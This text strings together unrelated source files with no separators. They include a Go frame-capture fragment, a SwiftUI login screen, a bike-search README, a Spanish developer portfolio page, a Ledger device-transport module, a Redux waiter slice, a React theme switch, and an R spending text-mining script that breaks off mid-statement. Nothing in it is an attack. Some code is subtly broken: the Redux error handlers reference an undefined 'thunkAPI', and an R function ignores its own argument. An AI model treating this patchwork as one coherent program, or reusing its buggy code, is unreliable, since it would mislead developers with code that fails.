{ b.Extra = []byte(extraData) } fmt.Println(extraData) } else { time.Sleep(4 * time.Millisecond) } // Write the frame to the gzip buffer if framesCaptured >= 0 { if diff > 1 { fmt.Printf("Dropped %d frames\n", diff-1) } _, err := buffer.Write(gt.DecipheredPacket) if err != nil { log.Fatal(err) } framesCaptured++ lastTimeOfDay = gt.Telemetry.TimeOfDay() } timer := time.NewTimer(4 * time.Millisecond) <-timer.C if framesCaptured%300 == 0 { fmt.Printf("%d frames captured\n", framesCaptured) } } if b, ok := buffer.(*gzip.Writer); ok { b.Flush() b.Close() } fmt.Printf("Capture complete, total frames: %d\n", framesCaptured) }
// // LoginView.swift // AlkemyChallenge // // Created by Manuel Moyano on 02/06/2022. // import SwiftUI struct LoginView: View { @StateObject var viewModel = ViewModelLoginView() @EnvironmentObject var authenticationViewModel: AuthenticationViewModel @State private var userEmail = "" @State private var userPassword = "" @State private var showingAlertInvalidAdress = false @State private var showingSheet = false @State private var showingError = false private let validEmails = ["@gmail.com","@hotmail.com"] var hasValidEmail: Bool { if userEmail.isEmpty { return false } if validEmails.contains(where: userEmail.contains){ return true } return false } var body: some View { ZStack{ Image("BackImage") .resizable() .scaledToFill() .ignoresSafeArea() .blur(radius: 8) VStack { Text ("Enter your email adress:") .font(.title2) .fontWeight(.bold) .foregroundColor(.white) .keyboardType(.emailAddress) TextField("example@gmail.com", text: $userEmail) .autocapitalization(.none) .textFieldStyle(.roundedBorder) .border(Color(UIColor.separator)) .background(.white) .clipShape(RoundedRectangle(cornerRadius: 20)) .padding() Text ("Enter your password:") .font(.title2) .fontWeight(.bold) .foregroundColor(.white) SecureField("********", text: $userPassword) .textFieldStyle(.roundedBorder) .border(Color(UIColor.separator)) .background(.white) .clipShape(RoundedRectangle(cornerRadius: 20)) .padding() Section{ if UserDefaultsFunctions.shared.sessionId?.session_id == "" { Text("Sign up") .foregroundColor(.white) .frame(width:160, height: 30) .background(.gray) .cornerRadius(_:20) .onTapGesture { if hasValidEmail { NetWorkingProvider.shared.getTokenAlamofire { token in viewModel.tokenRequest = token } failure: { error in viewModel.stringError = error.debugDescription showingError.toggle() } authenticationViewModel.creatNewUser(email: userEmail, password: userPassword) showingSheet.toggle() } else { showingAlertInvalidAdress = true } }.sheet(isPresented: $showingSheet) { TokenAuthenticationView(token: viewModel.tokenRequest, url: "https://www.themoviedb.org/authenticate/\(viewModel.tokenRequest.request_token)") } } else { Button ("Login") { if hasValidEmail { authenticationViewModel.login(email: userEmail, password: userPassword) { (error) in showingError.toggle() } } else { showingAlertInvalidAdress = true } } .foregroundColor(.white) .frame(width:120, height: 30) .background(.blue) .cornerRadius(_:20) } } .alert("Invalid email adress", isPresented: $showingAlertInvalidAdress) { Button("OK", role: .cancel) { } } .alert("Error login user The password is invalid or the user does not have a password", isPresented: $showingError) { Button("OK", role: .cancel) { } } } .frame(width: 280, height: 350, alignment: .center) .background(.black) .clipShape(RoundedRectangle(cornerRadius: 30)) }.onAppear { UserDefaultsFunctions.shared.loadFromUserDedault() } } } struct LoginView_Previews: PreviewProvider { static var previews: some View { LoginView() } }
# Bike Index #### By Trent Dietzel & Similoluwa Oyinkoalde ## Table of Contents - [About](#about) - [Demo](#demo) - [Technologies Used](#technologies-used) - [Features](#features) - [Installation](#installation) - [Usage](#usage) - [Contributing](#contributing) - [Known Bugs](#known-bugs) - [License](#license) - [Contact](#contact) ## About *Bike Index* is a web application that allows users to search for bike details and find information about stolen bikes based on location. The primary functionality of the application includes: - Searching for bike details using a unique ID. - Finding information about stolen bikes in a specific area. ## Demo You can try out the live demo of *Bike Index* [here](https://your-username.github.io/your-project-name/) (Not Working) ## Technologies Used - HTML - CSS (Bootstrap for styling) - JavaScript - NPM (Node Package Manager): for package management - Lint: for code quality and style checking - Webpack: for bundling and building the project - Jest: for testing the JavaScript code ## Features - **Bike Details**: Search for and display detailed information about a specific bike. - **Stolen Bikes**: Find information about stolen bikes based on location. ## Installation Follow these steps to set up the project locally: 1. Open Git BASH [Download Link](https://gitforwindows.org/) 2. Clone the repository to your local machine: ```bash git clone https://github.com/tdietzel22/Bike_Index ``` 3. Open the project directory: ```bash cd Bike_Index ``` 4. Open in a code editor like __Visual Studio Code__. 5. Open the VS Code terminal and enter this command to install needed dependencies: ```bash npm install dotenv-webpack@8.0.1 --save-dev ``` 6. The run once installed to view in browser or to use for further development: ```bash npm run start ``` ## Usage To use *Bike Index*: 1. Visit the website [Here](https://your-username.github.io/your-project-name/) (Not Working). 2. Fill in the bike ID in the form on the left to get detailed information about a specific bike. 3. Fill in an address, zipcode, city, or latitude/longitude in the form below to find information about stolen bikes in that area. 4. Click the "Search" or "Find" button to get the results. 5. For stolen bikes, use the "Next" button to cycle through the available results. ## Contributing I welcome contributions to improve the project. If you'd like to contribute, please follow these guidelines: 1. Fork the project repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and test thoroughly. 4. Commit your changes with a descriptive commit message. 5. Push your branch to your forked repository. 6. Create a pull request to the main repository. ## Known Bugs * _N/A_ ## License This project is licensed under the MIT License. See the LICENSE file for details. ## Contact For any questions, suggestions, or inquiries, please contact **Trent Dietzel** at _dietzelbiz@outlook.com_.
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Adan Rodriguez - Portfolio</title> <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" /> <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" /> <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png" /> <link rel="manifest" href="/site.webmanifest" /> <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" /> <meta name="apple-mobile-web-app-title" content="Adan Rodriguez - Portfolio" /> <meta name="application-name" content="Adan Rodriguez - Portfolio" /> <meta name="msapplication-TileColor" content="#da532c" /> <meta name="theme-color" content="#ffffff" /> <link rel="stylesheet" href="style.css" /> </head> <body> <header class="main-header"> <div class="container-top-header"> <div class="my-logo">&lt; Adan Rodriguez / &gt;</div> <button class="button-open-menu"> <img src="assets/images/open-menu-icon.svg" alt="Abrir menú" /> </button> <div class="container-closebutton-and-menu"> <button class="button-close-menu"> <img src="assets/images/close-menu-icon.svg" alt="Cerrar menú" /> </button> <nav> <ul> <li> <a class="link-nav" href="#projects"> Proyectos </a> </li> <!-- <li> <a class="link-nav" href="#aboutme"> Sobre mi </a> </li> --> <li> <a class="link-nav" href="#contactme"> Contáctame </a> </li> </ul> </nav> <div class="container-linkedin-github"> <a href="https://www.linkedin.com/in/adan-gabriel-rodriguez/" title="Linkedin" target="_blank" > <img class="linkedin-icon" src="assets/images/linkedin-icon.svg" alt="Logo Linkedin" loading="lazy" /> </a> <a href="https://github.com/adan-rodriguez" title="GitHub" target="_blank" > <img class="github-icon" src="assets/images/github-icon.svg" alt="Logo Github" loading="lazy" /> </a> </div> </div> </div> </header> <main> <div class="container-intro-bg-image"> <div class="container-intro"> <div class="container-text-social-cv-intro"> <h1 class="name-intro">Hola 👋🏻. Soy Adan Rodriguez</h1> <h2 class="frontend-developer-intro">Web Developer</h2> <div class="info-intro"> <p>Mi conocimiento y experiencia se centran en el frontend. Me especializo en React y Next.js, pero estoy incorporando otras tecnologías front.</p> <p> El backend es una parte que actualmente estoy desarrollando, enfocándome en el stack MERN. </p> <p> Soy estudiante de una Tecnicatura en Desarrollo Web en la Universidad Nacional de Entre Ríos, Argentina. </p> </div> <div class="container-skills"> <img src="assets/images/html.svg" alt="Logo de HTML" /> <img src="assets/images/css.svg" alt="Logo de CSS" /> <img src="assets/images/javascript.svg" alt="Logo de Javascript" /> <img src="assets/images/react.svg" alt="Logo de React" /> <img src="assets/images/nextjs.png" alt="Logo de Next.js" style="width: 36px" /> <!-- <img src="assets/images/tailwind.svg" alt="Logo de Tailwind" /> <img src="assets/images/cloudinary.svg" alt="Logo de Cloudinary" /> <img src="assets/images/firebase.svg" alt="Logo de Firebase" /> --> </div> <div class="container-linkedin-github"> <a href="https://www.linkedin.com/in/adan-gabriel-rodriguez/" title="Linkedin" target="_blank" > <img class="linkedin-icon" src="assets/images/linkedin-icon.svg" alt="Logo Linkedin" loading="lazy" /> </a> <a href="https://github.com/adan-rodriguez" title="GitHub" target="_blank" > <img class="github-icon" src="assets/images/github-icon.svg" alt="Logo Github" loading="lazy" /> </a> </div> <a class="download-cv" download="Currículum Vitae - Adán Gabriel Rodríguez" href="assets/docs/curriculum-vitae-adan-gabriel-rodriguez.pdf" >Descargar CV</a > </div> <img class="img-intro" src="assets/images/adan-rodriguez-sinfondo-r.png" alt="Foto de Adán Rodríguez" /> </div> </div> <div id="projects" class="container-projects-bg-image container-projects-bg-image-height" > <div class="container-projects"> <h2 class="title-section animation-scroll-elem">Proyectos</h2> <div class="cards-projects"> <div class="card-project animation-scroll-elem"> <img style="object-position: left" class="img-card" src="assets\images\el-villanense.png" alt="El Villanense" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-next">Next.js</div> <div class="badge badge-firebase">Firebase</div> <div class="badge badge-cloudinary">Cloudinary</div> <div class="badge badge-react">React</div> </div> <h3 class="name-project"> El Villanense - Portal de Noticias </h3> <div class="description-project"> <p> Mi proyecto principal. Tiene llegada a un público local </p> <p>Next.js con app directory</p> <p>Firebase para BBDD y autenticación</p> <p>Cloudinary para almacenar y consumir las imágenes</p> <p>SEO implementado</p> </div> </div> <div class="buttons-card"> <a href="https://www.elvillanense.com.ar" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/el-villanense-next-js" target="_blank" rel="noopener noreferrer" class="private-repo" >Ver repo</a > </div> </div> </div> <!-- <div class="card-project animation-scroll-elem"> <img style="object-position: left" class="img-card" src="assets\images\el-villanense.png" alt="El Villanense" loading="lazy" /> <div class="info-card"> <div class="container-badges"> <div class="badge badge-react">React</div> <div class="badge badge-firebase">Firebase</div> </div> <h3 class="name-project">El Villanense - Portal de Noticias</h3> <div class="buttons-card"> <a href="https://el-villanense-news.vercel.app/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/el-villanense-news" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> --> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\tmdb.png" alt="TMDB" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-react">React</div> <div class="badge badge-tailwind">Tailwind</div> </div> <h3 class="name-project">The Movie Database</h3> <div class="description-project"> <p> Información de películas, programas de tv, actores y actrices </p> <p>Consume la API de The Movie Database</p> <p>Tiene la funcionalidad de guardar en favoritos</p> </div> </div> <div class="buttons-card"> <a href="https://tmdb-adan-rodriguez.vercel.app/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/tmdb" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <!-- HACKER NEWS --> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\hacker-news.png" alt="Hacker News" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-react">React</div> <div class="badge badge-tailwind">Tailwind</div> <div class="badge badge-js">Javascript</div> </div> <h3 class="name-project">Hacker News</h3> <div class="description-project"> <p> Obtiene noticias usando SWR y la API de Hacker News </p> <p>Implementa infinite scroll utilizando la API Intersection Observer</p> <p>Muestra un placeholder para noticias y comentarios mientras cargan</p> </div> </div> <div class="buttons-card"> <a href="https://hacker-news-prueba-tecnica.onrender.com/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/hacker-news-prueba-tecnica" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\library-app.png" alt="Library App" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-react">React</div> <div class="badge badge-rtk">Redux Toolkit</div> </div> <h3 class="name-project">Library App</h3> <div class="description-project"> <p>Gestión de libros</p> <p>CRUD App</p> </div> </div> <div class="buttons-card"> <a href="https://library-app-adan-rodriguez.vercel.app/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/library-app" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\buscadorpeliculas.png" alt="Buscador de películas" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-react">React</div> </div> <h3 class="name-project">Buscador de películas</h3> <div class="description-project"> <p>Un simple buscador de películas</p> <p>Consume la API de The Open Movie Database</p> <p> Detalle interesante el "debouncing" al tipear en el buscador </p> </div> </div> <div class="buttons-card"> <a href="https://buscador-peliculas-adan-rodriguez.vercel.app/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/react-buscador-peliculas" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\shoppingcart.png" alt="Shopping cart" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-react">React</div> </div> <h3 class="name-project">Shopping cart</h3> <div class="description-project"> <p> Practicando mis habilidades con un simple carrito de compras </p> </div> </div> <div class="buttons-card"> <a href="https://shopping-cart-adan-rodriguez.vercel.app/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/react-shopping-cart" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\my-projects-expanding-cards.png" alt="My projects expanding cards" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-html">HTML</div> <div class="badge badge-css">CSS</div> <div class="badge badge-js">Javascript</div> </div> <h3 class="name-project">My projects - Expanding cards</h3> <div class="description-project"> <p> Muestro todos mis proyectos con cards que presentan algunos efectos y animaciones </p> </div> </div> <div class="buttons-card"> <a href="https://my-projects-expansive-contractive-cards.vercel.app/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/my-projects-expansive-contractive-cards" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\checkpoint2-react-skillfactory-by-avalith.png" alt="Checkpoint #2 - React Skill Factory by Avalith." loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-react">React</div> <div class="badge badge-js">Javascript</div> </div> <h3 class="name-project"> Checkpoint #2 - React Skill Factory by Avalith. </h3> <div class="description-project"> <p> Proyecto de un Bootcamp de React donde se trabajó asincronismo, consumo de APIs y manejo de formularios. </p> </div> </div> <div class="buttons-card"> <a href="https://checkpoint2-react-skillfactory-by-avalith.vercel.app/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/checkpoint2-react-skillfactory-by-avalith" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\codoacodo-bootstrap.png" alt="Codo a Codo 4.0 - Bootstrap" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-bootstrap">Bootstrap</div> </div> <h3 class="name-project">Codo a Codo 4.0 - Bootstrap</h3> <div class="description-project"> <p> Página simple que tiene como detalle más importante que está hecha con Bootstrap </p> </div> </div> </div> <div class="buttons-card"> <a href="https://codoacodo-bootstrap.adan-rodriguez.repl.co/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/bootstrap-codoacodo4.0" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\comuna-villaana.png" alt="Comuna de Villa Ana" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-html">HTML</div> <div class="badge badge-css">CSS</div> </div> <h3 class="name-project">Comuna de Villa Ana</h3> <div class="description-project"> <p> Boceto de sitio web que realicé para mostrar a la comuna del lugar dónde vivo </p> </div> </div> <div class="buttons-card"> <a href="http://comunavillaana.000webhostapp.com/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/pagina-comuna-villaana" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> <div class="card-project animation-scroll-elem"> <img class="img-card" src="assets\images\globant.png" alt="Copia Globant Homepage" loading="lazy" /> <div class="info-card"> <div class="header-info-card"> <div class="container-badges"> <div class="badge badge-html">HTML</div> <div class="badge badge-css">CSS</div> </div> <h3 class="name-project">Copia Globant Homepage</h3> <div class="description-project"> <p> Practicando con una copia de la página principal de Globant </p> </div> </div> <div class="buttons-card"> <a href="https://practice-globant-homepage.adan-rodriguez.repl.co/" target="_blank" rel="noopener noreferrer" >Ver sitio</a > <a href="https://github.com/adan-rodriguez/practice-globant-homepage" target="_blank" rel="noopener noreferrer" >Ver repo</a > </div> </div> </div> </div> <button class="see-btn see-more-btn animation-scroll-elem"> Ver más </button> <button class="see-btn see-less-btn animation-scroll-elem"> Ver menos </button> </div> </div> <!-- <div id='aboutme' class='container-aboutme'>Sobre mi</div> --> <div id="contactme" class="container-contactme"> <h2 class="title-section animation-scroll-elem">Contáctame</h2> <form id="my-form" action="https://formspree.io/f/moqbloke" method="post" class="animation-scroll-elem" > <div> <label for="full-name">Nombre completo</label> <input type="text" name="name" id="full-name" placeholder="Nombre y apellido" required /> </div> <div> <label for="email-address">Correo electrónico</label> <input type="email" name="email" id="email-address" placeholder="e.g. john.doe@gmail.com" required /> </div> <div class="container-textarea"> <label for="message">Mensaje</label> <textarea name="message" id="message" placeholder="Escriba aquí su mensaje..." required ></textarea> </div> <input type="hidden" name="_subject" id="email-subject" value="Contact Form Submission" /> <button id="my-form-button">Enviar</button> <p id="my-form-status"></p> </form> </div> </main> <footer class="main-footer">Made by Adan Rodriguez</footer> </body> <script src="./src/index.js" type="module"></script> </html>
import { EMPTY, merge } from "rxjs"; import type { Observable } from "rxjs"; import { catchError } from "rxjs/operators"; import type { DeviceModel } from "@ledgerhq/types-devices"; import Transport from "@ledgerhq/hw-transport"; import { TraceContext, trace } from "@ledgerhq/logs"; import { CantOpenDevice } from "@ledgerhq/errors"; export const LOG_TYPE = "hw"; export type DeviceEvent = { type: "add" | "remove"; id: string; name: string; deviceModel?: DeviceModel | null; wired?: boolean; }; export type Discovery = Observable<DeviceEvent>; // NB open/close/disconnect semantic will have to be refined... export type TransportModule = { // unique transport name that identify the transport module id: string; /* * Opens a device by an id, this id must be unique across all modules * you can typically prefix it with `something|` that identify it globally * returns falsy if the transport module can't handle this id * here, open means we want to START doing something with the transport * * @param id * @param timeoutMs Optional timeout that can be used by the Transport implementation when opening a communication channel * @param context Optional context to be used in logs/tracing */ open: ( id: string, timeoutMs?: number, context?: TraceContext, ) => Promise<Transport> | null | undefined; // here, close means we want to STOP doing something with the transport close?: (transport: Transport, id: string) => Promise<void> | null | undefined; // disconnect/interrupt a device connection globally // returns falsy if the transport module can't handle this id disconnect: (id: string) => Promise<void> | null | undefined; /** * Determines whether an auto-disconnect can happen at this time or not. * * Currently only used by TransportNodeHid */ setAllowAutoDisconnect?: ( transport: Transport, id: string, allow: boolean, ) => Promise<void> | null | undefined; // optional observable that allows to discover a transport discovery?: Discovery; }; const modules: TransportModule[] = []; export const registerTransportModule = (module: TransportModule): void => { modules.push(module); }; export const discoverDevices = ( accept: (module: TransportModule) => boolean = () => true, ): Discovery => { const all: Discovery[] = []; for (let i = 0; i < modules.length; i++) { const m = modules[i]; if (m.discovery && accept(m)) { all.push(m.discovery); } } return merge( ...all.map(o => o.pipe( catchError(error => { trace({ type: LOG_TYPE, message: "One Transport provider failed", data: { error } }); return EMPTY; }), ), ), ); }; /** * Tries to call `open` on the 1st matching registered transport implementation * * @param deviceId * @param timeoutMs TODO: too keep, will be used in separate PR * @param context Optional context to be used in logs/tracing * @returns a Promise that resolves to a Transport instance, and rejects with a `CantOpenDevice` * if no transport implementation can open the device */ export const open = ( deviceId: string, timeoutMs?: number, context?: TraceContext, ): Promise<Transport> => { // The first registered Transport (TransportModule) accepting the given device will be returned. // The open is not awaited, the check on the device is done synchronously. // A TransportModule can check the prefix of the device id to guess if it should use USB or not on LLM for ex. for (let i = 0; i < modules.length; i++) { const m = modules[i]; const p = m.open(deviceId, timeoutMs, context); if (p) return p; } return Promise.reject(new CantOpenDevice(`Cannot find registered transport to open ${deviceId}`)); }; export const close = ( transport: Transport, deviceId: string, context?: TraceContext, ): Promise<void> => { trace({ type: LOG_TYPE, message: "Trying to close transport", context }); // Tries on the registered TransportModule implementation of close for (let i = 0; i < modules.length; i++) { const m = modules[i]; const p = m.close && m.close(transport, deviceId); if (p) { trace({ type: LOG_TYPE, message: `Closing transport ${m.id}`, context }); return p; } } // fallback on an actual close return transport.close(); }; export const setAllowAutoDisconnect = ( transport: Transport, deviceId: string, allow: boolean, ): Promise<void> | null | undefined => { for (let i = 0; i < modules.length; i++) { const m = modules[i]; const p = m.setAllowAutoDisconnect && m.setAllowAutoDisconnect(transport, deviceId, allow); if (p) return p; } }; export const disconnect = (deviceId: string): Promise<void> => { for (let i = 0; i < modules.length; i++) { const dis = modules[i].disconnect; const p = dis(deviceId); if (p) { return p; } } return Promise.reject(new Error(`Can't find handler to disconnect ${deviceId}`)); };
import { createSlice, createAsyncThunk } from '@reduxjs/toolkit' import { handlePending, handleFulfilled, handleRejected } from "@utils" import errorMessage from "../../../../../@core/components/errorMessage" import axios from 'axios' export const getAllWaiters = createAsyncThunk('appWaiters/getAllWaiters', async () => { try { let isFinished = false let page = 1 const acc = [] const { data: { count } } = await axios.get('/users/waiter') while (!isFinished) { const { data: { results } } = await axios.get('/users/waiter', { params: { perPage: 100, page }}) acc.push(...results) if (acc.length === count) isFinished = true page += 1 } return acc } catch (error) { errorMessage(error.response.data.detail) return thunkAPI.rejectWithValue(error) } }) export const getWaiters = createAsyncThunk('appWaiters/getWaiters', async params => { try { const response = await axios.get('/users/waiter', { params }) return { params, data: response.data.results, total: response.data.count } } catch (error) { errorMessage(error.response.data.detail) return thunkAPI.rejectWithValue(error) } }) export const getWaiter = createAsyncThunk('appWaiters/getWaiter', async id => { try { const { data } = await axios.get(`/users/waiter/${id}`) return data } catch (error) { errorMessage(error.response.data.detail) return thunkAPI.rejectWithValue(error) } }) export const addWaiter = createAsyncThunk('appWaiters/addWaiter', async (waiter, { dispatch, getState }) => { try { await axios.post('/users/waiter/', waiter) await dispatch(getWaiters(getState().waiters.params)) return waiter } catch (error) { errorMessage(error.response.data ? Object.entries(error.response.data).flatMap(errors => errors).join(', ') : error.message) return thunkAPI.rejectWithValue(error) } }) export const deleteWaiter = createAsyncThunk('appWaiters/deleteWaiter', async (id, { dispatch, getState }) => { try { await axios.delete(`/users/waiter/${id}/`) await dispatch(getWaiters(getState().waiters.params)) return id } catch (error) { errorMessage(error.response.data.detail) return thunkAPI.rejectWithValue(error) } }) export const editWaiter = createAsyncThunk('appWaiters/editWaiter', async ({ id, formData }, { dispatch, getState }) => { try { await axios.patch(`/users/waiter/${id}/`, formData) await dispatch(getWaiters(getState().waiters.params)) return { id, formData } } catch (error) { errorMessage(error.response.data ? Object.entries(error.response.data).flatMap(errors => errors).join(', ') : error.message) return thunkAPI.rejectWithValue(error) } }) export const appWaitersSlice = createSlice({ name: 'appUsers', initialState: { data: [], allWaiters: [], total: 1, params: {}, loading: false, error: null, selectedWaiter: null }, reducers: {}, extraReducers: builder => { builder .addCase(getWaiters.fulfilled, (state, { payload: { data, params, total } }) => { state.data = data state.params = params state.total = total state.loading = false state.error = null }) .addCase(getWaiter.fulfilled, (state, action) => { state.selectedWaiter = action.payload state.loading = false state.error = null }) .addCase(getAllWaiters.fulfilled, (state, action) => { state.allWaiters = action.payload state.loading = false state.error = null }) .addCase(getWaiters.pending, handlePending) .addCase(getWaiter.pending, handlePending) .addCase(getAllWaiters.pending, handlePending) .addCase(addWaiter.pending, handlePending) .addCase(deleteWaiter.pending, handlePending) .addCase(editWaiter.pending, handlePending) .addCase(getWaiters.rejected, handleRejected) .addCase(getWaiter.rejected, handleRejected) .addCase(getAllWaiters.rejected, handleRejected) .addCase(addWaiter.rejected, handleRejected) .addCase(deleteWaiter.rejected, handleRejected) .addCase(editWaiter.rejected, handleRejected) .addCase(addWaiter.fulfilled, handleFulfilled) .addCase(deleteWaiter.fulfilled, handleFulfilled) .addCase(editWaiter.fulfilled, handleFulfilled) } }) export default appWaitersSlice.reducer
import { HiOutlineMoon, HiOutlineSun } from "react-icons/hi2"; import { useTheme } from "../contexts/ThemeContext"; function SwitchTheme() { const { theme, handleThemeSwitch } = useTheme(); const isLightMode = theme === "light"; return ( <button aria-label={isLightMode ? "apply dark mode" : "apply light mode"} title={isLightMode ? "Apply dark mode" : "Apply light mode"} onClick={handleThemeSwitch} className="rounded-md p-1 duration-300 hover:bg-indigo-50 dark:hover:bg-gray-800" > {isLightMode ? ( <HiOutlineMoon className="icon-size text-indigo-600" /> ) : ( <HiOutlineSun className="icon-size text-indigo-600" /> )} </button> ); } export default SwitchTheme;
library(dplyr); library(beepr); library(parallel); library(tm) library(SnowballC); library(NLP) # Load libraries transaction <- read.csv('transaction.csv', stringsAsFactors = FALSE) bus_cat <- colnames(transaction)[c(5, 6, 8, 36, 61)] award_agency <- colnames(transaction)[c(5, 6, 8, 36, 53)] # Initial subset tran_sub <- subset(transaction, select = bus_cat, transaction$fiscal_year > 2010 & transaction$fiscal_year < 2019 & transaction$total_obligation > 0 & transaction$business_categories != '' & # transaction$awarding_toptier_agency_name != '' & transaction$recipient_location_state_code %in% state.abb & transaction$award_id != '') tran_sub2 <- subset(transaction, select = award_agency, transaction$fiscal_year > 2010 & transaction$fiscal_year < 2019 & transaction$total_obligation > 0 & # transaction$business_categories != '' & transaction$awarding_toptier_agency_name != '' & transaction$recipient_location_state_code %in% state.abb & transaction$award_id != '') ### text_mine() functions tran_dupl_removal <- function(tran_data) { # Combine duplicate award_id's id_table <- table(tran_sub$award_id) id_table_sub <- id_table[id_table > 1] dupl_id <- names(id_table_sub) tran_dupl <- tran_sub[tran_sub$award_id %in% dupl_id, ] tran_not_dupl <- tran_sub[!tran_sub$award_id %in% dupl_id, ] tran_dupl_unique <- unique_id_func(tran_dupl) tran_comb <- rbind(tran_not_dupl, tran_dupl_unique) return(tran_comb) } # yearly_df = tran_sub_year[[1]] year_to_state <- function(yearly_df = tran_data_year[[1]], desc = 'business_categories') { # Returns two lists, where the description and spending for a specific # year for all states is returned. yearly_df <- data.frame(yearly_df, stringsAsFactors = FALSE) state_split <- split(yearly_df, yearly_df$recipient_location_state_code) state_desc <- lapply(state_split, function(x) x[,desc]) state_spend <- lapply(state_split, function(x) x$total_obligation) return(list(state_desc, state_spend)) } annual_desc_spend <- function(year_list_element = year_to_state_desc_spend[[1]]) { # Takes the yearly list element and breaks down into list of 50 descriptions # and 50 spending amounts. Then filters the descriptions into a weighted # character vector. Returns top 25. year_desc <- year_list_element[[1]] year_spend <- year_list_element[[2]] # Go by state to find the weighted character vectors. # Creates a list of 50 states each with a list of an index and string. state_desc_word_filter <- lapply(year_desc, function(x) word_filter(year_desc_element = x)) # https://stackoverflow.com/questions/14848172/appending-a-list-to-a-list-of-lists-in-r # Add the spending to the list of 50. for(i in 1:length(state_desc_word_filter)) { state_desc_word_filter[[i]][length(state_desc_word_filter[[i]]) + 1] <- year_spend[i] } # Sort through each 50 states in list and use the word filter. state_weighted_top25 <- lapply(state_desc_word_filter, function(x) state_list_to_char_vec(state_string_ind_spend = x)) return(state_weighted_top25) } word_filter <- function(year_desc_element = year_desc[[1]]) { # Process of doing initial text mining of description. removed_punc = gsub('[[:punct:]]', ' ', year_desc_element) lower_case = tolower(removed_punc) # Remove stopwords, create stem words stop_words1 = removeWords(lower_case, stopwords('en')) stop_words2 = removeWords(stop_words1, stopwords('SMART')) stem_words = stemDocument(stop_words2) # Deal with any white space and create removal index clean_whitespace = stripWhitespace(stem_words) remove_na = clean_whitespace[clean_whitespace != 'NA'] rm_ind = which(remove_na != '') lead_trail = gsub("^\\s+|\\s+$", "", clean_whitespace[rm_ind]) rm_ind = which(lead_trail != '') return(list(lead_trail, rm_ind)) } state_list_to_char_vec <- function(state_string_ind_spend = state_desc_word_filter[[1]]) { # Creates a data frame from filtered descriptions and then returns # the final top 25 weighted words. lead_trail <- state_string_ind_spend[[1]] rm_ind <- state_string_ind_spend[[2]] price <- state_string_ind_spend[[3]] # price[rm_ind] / sapply(strsplit(lead_trail[rm_ind], " "), length) character_vector <- data.frame(keywords = lead_trail[rm_ind], # df of keywords and prices weighted_price = price[rm_ind] / sapply(strsplit(lead_trail[rm_ind], " "), length), stringsAsFactors = FALSE) weighted_char_vectors(price = price[rm_ind], character_vector = character_vector) } weighted_char_vectors <- function(price, character_vector) { # The weighted_char_vectors function will take in the price and character # vector which have previously been created. It will then split the # character vector into the individual keywords of each expense, and then # assign the average price to each keyword. These keywords are then combined # so that keywords which are matching will also have their weighted prices # from across different expenses summed together. # Split the keywords from each exepense, and assign them to their average # prices from each character vector. keywords_list = strsplit(character_vector$keywords, ' ', fixed = TRUE) keywords_list_len = sapply(keywords_list, length) avg_price = character_vector$weighted_price / keywords_list_len weighted_words = Map(cbind, keywords_list, avg_price) weighted_words = 